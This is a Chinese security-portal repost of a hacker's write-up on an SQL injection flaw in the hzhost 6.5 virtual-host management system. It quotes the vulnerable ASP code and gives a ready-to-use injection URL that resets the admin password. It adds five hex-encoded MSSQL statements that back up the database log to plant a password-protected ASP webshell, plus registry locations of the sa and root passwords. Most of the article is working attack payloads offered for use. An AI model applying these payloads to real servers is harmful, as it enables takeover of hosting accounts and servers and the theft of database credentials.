hzhost收藏本站找回密码开启辅助访问OTP 登录 注册 找回密码
安基网
请输入搜索内容
搜索
首页资讯软件IT技术公开课人才投稿
冰盾DDoS防火墙
冰盾DDoS防火墙
专业防护DDoS和CC攻击15年，网站和游戏服务器的保护神
点击了解详情
安基网›首页›IT技术›安全攻防› 查看内容
再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞
2009-1-16 12:53| 投稿: security
免责声明：本站系公益性非盈利IT技术普及网，本文由投稿者转载自互联网的公开文章，文末均已注明出处，其内容和图片版权归原网站或作者所有，文中所述不代表本站观点，若有无意侵权或转载不当之处请从网站右下角联系我们处理，谢谢合作！
摘要: 作者：叉叉兵 这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。 只讲两个要点。 第一，如何拿网站管理员权限。 第二，如何备份木马。 这次不是简单的注射点，而是经过安全函数过...
作者：叉叉兵 这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。 只讲两个要点。 第一，如何拿网站管理员权限。 第二，如何备份木马。 这次不是简单的注射点，而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来，而过滤函数又未过滤完全，导致我们有机会进行注射。 我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。 httP://www.xxbing.com QQ178737315 漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中！ -------------------------13-15行---------------------------- querytype=SafeRequest("querytype") //saferequest函数接受数据 if chk_int(querytype)=false then //检查是否是整数 ErrMsg="对不起，非法操作！..." -------------------------37-42行--------------------------- elseif querytype=5 then //如果类型为5。就接受qu1数据！ qu1=trim(SafeRequest("qu1")) //saferequest函数接受数据，他自己定义的saferequest函数！ if qu1="" then //不能为空 call errorpage(-2,"对不起，请选择参数！") end if qstring=" and s_regstt="&qu1&" " //这里是关键 qu1没有用单引号包围，虽然用了saferequest，但是我们可以绕过！ -------------------------62-65行--------------------------- qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据 if qu7<>"" then qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。 这里被包围了，所以这里成了死点！！ end if --------------------------117行----------------------------- query="select * from v_ot2lst where (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%') "&qstring&qstring2&" order by "&orderstring //到这里就丢进去查询了！ 来看看saferequest()函数。 ------------------incs/config.asp中------------------------- Function SafeRequest(ParaName) Dim ParaValue ParaValue=Request(ParaName) //获取数据 if IsNumeric(ParaValue) then //如果是数字 SafeRequest=ParaValue //那就不过滤，直接赋值 exit Function else ParaValuetemp=lcase(ParaValue) //如果不是数字，先把接到的数据全部转为小写 tempvalue="select |insert |delete from|'|count(|drop table|update |truncate |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from" //定义要过滤的字符！ 他过滤方式有问题。。。没有过滤 * / % / -- / ; 而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。 temps=split(tempvalue,"|") //转为一维数组 for mycount=0 to ubound(temps) //循环读数组内数据 if Instr(ParaValuetemp,temps(mycount)) > 0 then //判断用户提交的数据是否包含了 非法字符。 call errorpage(-2,"非法请求！！！") //如果有则弹出提示！！ response.end end if next SafeRequest=ParaValue end if End function ------------------------------------- 所以我们构造注射点的思路就是：不能出现单引号，update,select等等两边都要用%09（tab）..仔细看清楚。上面过滤的是update+空格。select+空格。 先给出查询语句的框架。 select * from v_ot2lst where (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc 为了使语句顺利执行： 我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他，是因为注释后，实际查询出错了。 这里我给出条示范语句，即{我们的语句} UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E 这条语句能够绕过saferequest函数的检测。没有出现单引号。 我们提交： http://www.xxxxxx.com/control/ot2_mng/ot2_lst.asp?querytype=5&qu7=1&ordernum=32&qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1 这句话就能够将admin的密码修改成123456 到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。 第二步是要备份挂马。 大家看动画中的备马这么简单，当初难了我老半天。saferequest过滤了char( 导致备马的这条语句失败。 declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。 有人给我建议改成 @s ntext 等等，换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。 由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000)，也是可以的。这样我们就饶过了char( 接下来放出详细语句。大家放入{我们的语句中} 第 一 步: create table [dbo].[shit_tmp] ([cmd] [image])-- 第 二 步 declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate-- 第 三 步 insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)-- 第 四 步 declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s-- 第 五 步 Drop table [shit_tmp]-- 上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。 一般来说，我们就能拿到webshell. 至于拿webshell后，如何取得系统权限。 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用！》 最后是答疑部分： 1:这次是get注射，不像上次是post注射。由于没有文本框字符的限制，所以不需要保存网页到本地。 2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后，成为 0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500 这是转为nvarchar型的，我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即： 0x6531306164633339343962613539616262653536653035376632306638383365 大家仔细观察，会发现，其实只是去掉了一些00。。 所以大家在转换其他md5的时候，注意此问题。 3:读sa密码,root密码。我们读的是加密了的。还原必须在本机，每台hzhost主机都有自己的密钥，密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。 另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手，能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。 4:备马的问题，备份成功后，可能出现乱码，是由于截断了的原因，大家用NBSI3。去掉2个截断的勾，再生成语句执行就行了。 有的服务器可能在备马的过程中出现SQL过期，超时。遇到这样的是对方数据库很大，这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。 5：hzhost其实不只这一个注射点，没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。 6：:sa密码。root密码。 HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ mysqlpass---root密码 mssqlpss----sa密码 7.如果路径不在D:/hzhost 那么就是你人品问题！进后台找找普通用户FTP/web的路径，也许会有些用。 或者去读注册表。 HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下 "wwwrootpath"="e:\\wwwroot" "urlsiteroot"="D:\\hzhost\\hzhost_url" "ftprootpath"="e:\\ftproot" 可以看出什么？ 绝对路径放在注册表中。把注册表中的值更新到某个字段，再去读就行了。（比如用户e-mail中。。） 大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路！ 利用动画下载地址（送给菜鸟同学们，能看懂文章的大不必下载，只是把文章的内容完全演示了一遍。） hzhost最新漏洞.rar 饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以，只能放到这里。抱歉啊！！ 最后，还是版权。 http://www.xxbing.com QQ178737315
Tag标签:
小编推荐：欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术，请 点击这里 注册账号，公开课频道价值万元IT培训教程免费学，让您少走弯路、事半功倍，好工作升职加薪！
免责声明：本站系公益性非盈利IT技术普及网，本文由投稿者转载自互联网的公开文章，文末均已注明出处，其内容和图片版权归原网站或作者所有，文中所述不代表本站观点，若有无意侵权或转载不当之处请从网站右下角联系我们处理，谢谢合作！
鲜花
握手
雷人
路过
鸡蛋
收藏邀请
相关阅读
• 获取LoadLibrary函数的代码• 用批处理实现屏蔽恶意网址• cyask知道系统collect.php页面存在越权漏洞• 趣话电脑病毒19年发展历史及防护常识• 中国电脑黑客档案(连载)三• 看了色情网站的后果......• 一次清除webshell的实战• 为什么这么多网站深受其害？网站安全问题原因何在？• 如何设置完美密码？看看专家怎么说|密码|黑客|字符_新浪科技_新浪网• 用16进制编辑器编写一个DLL文件• 图灵测试，测的到底是什么？• 破解笔记 • 病毒也有正义吗?新蠕虫病毒给网站安装补丁• 病毒木马种类• PGP 加密存在漏洞(APP,缺陷)• UNICODE漏洞全攻略三• 微软自曝安全内幕 白皮书也是写给黑客的• Win98/ME屏保大漏洞• 耗尽CPU资源的Explored病毒清除法• IP Spoof技术介绍(IP 欺骗)• 发现病毒感染！怎样清理系统 • Windows 2000漏洞集锦(登陆输入法漏洞)• 详细认识XSS木马• 使用Python进行TCP数据包注入（伪造）
最新评论
评论
手机数码
电脑技术
网络管理
安全攻防
编程开发
智能硬件
办公设计
网赚电商
最新
能够删除杀毒软件的新型Linux挖矿木马来袭
FIT 2019不见不散！大会详细议程公布
用户设备易被黑的十大机场
数字货币价格普遍回暖 比特币重返4200美元
红魔MARS游戏手机发布 液冷+风冷+炫彩灯+边
00后没见过 这些老产品依旧堪称神器
因MacBook和iMac屏幕进灰事件 苹果遭遇集体
美司法部指控两名伊朗黑客勒索攻击 造成300
网络黑灰产已近千亿 个人信息泄露是源头
真相令人崩溃 你在网上设的密码大多数形同
00后“白帽黑客”7天挖11企业漏洞！今年17
高达800万次下载量的npm包被黑客篡改代码，
黑客“自学成才”进行DDOS攻击，杭州一集团
工信部：监测处置网络安全威胁约3397万个
最近，互联网一个47年的协议就要停止支持了
5毛1GB太便宜！固态价格持续下降可以入手了
“多才多艺”的安卓木马Rotexy已在3个月里
专家发现一个Spotify的网络钓鱼活动
Uber被曝270万用户信息被黑客盗取 遭监管机
移动支付排名：微信第一、支付宝第二、Appl
专为AR/VR场景打造 高通正在开发全新SoC
苹果macOS曝三个零日漏洞，可导致Mac电脑被
越南黑客组织“海莲花”被指针对东南亚发起
13款恶意安卓APP被曝光，总下载量超过56万
攻击者可通过侧通道攻击暴露Facebook、XBox
聊一款专为图形工作者准备的笔记本电脑
恐怖！一天之内比特币跌破3500美元，官媒发
共享充电宝退潮后：那些海量旧电芯去了哪里
人工智能如何与现代黑客和网络犯罪作斗争
非常琐碎的Spotify钓鱼活动被专家发现
Web应用服务器性能压力测试
任天堂Switch 6.2系统被破解 黑客将于本周
虚拟机加密：超融合世界的加密策略
python编程实现局域网arp抓取室友网上浏览
9款电脑黑科技小软，开启你成就网络管理员
斯诺登：比特币终将消失 加密货币则会永生
警惕eval()的安全漏洞
自学Python入行数据挖掘，听听数据挖掘美女
马斯克考虑移居火星 建立基地不返回地球
新型 Linux 病毒，脚本超 1000 行，功能复
渗透测试——黑客如何通过QQ号获取到你的手
黑客怎么利用手机进行网络渗透测试！
黑客入侵电脑常用的5种手段，如果你电脑里
黑客的“攻”与“受”之防火墙
安卓已过时？华为、荣耀参与测试全新操作系
亏损超1亿！比特币价格大跌，两万多部矿机
乳胶枕被检出含致癌物，还是花6800买的！乳
英语不好？那你就试试TensorFlow官方中文版
Hadoop学习-块、网络拓扑、副本策略、机架
超详细的Linux时间同步配置方法
比特币跌破3500美元至2017年9月以来的最低
北京一培训公司员工为赚提成收集千万个人信
腾讯QQ发布公告：因安全功能升级 不再提供
苹果macOS曝三个零日漏洞，可导致Mac电脑被
Facebook提高发现账户劫持漏洞的赏金金额
Linux内核发现两个尚未修复的DoS漏洞
淘宝双12大促玩法曝光：必须设店铺红包
PS4出现一位黑客 把不尊重他的玩家永久断开
你的ofo押金退了吗？
2019互联网校招薪酬曝光 看你能拿到多少钱
感恩节黑客也搞起了黑五大促 但甩卖的是你
网上谍影：境外间谍情报机关通过互联网窃取
亚马逊用户电子邮箱地址在黑色星期五前夕外
vivo NEX2首次曝光：极致双面屏＋22.5W超级
百度网盘六周年庆活动上线：新用户1元买一
国产手机逆势崛起 苹果三星被挤压
QQ v9.0.8.24194 体验版发布
小米蓝牙耳机Air现身FCC：10小时续航
比特币再次暴跌 感恩节当周市值损失四分之
iOS登录，退出流程整理
© 2003-2018 安基网（SAFEBASE.CN） 京公网安备11010802027589号 京ICP备10030376号-6 【手机版】Powered by Discuz 存档 联系信箱: 0daybank
文章评论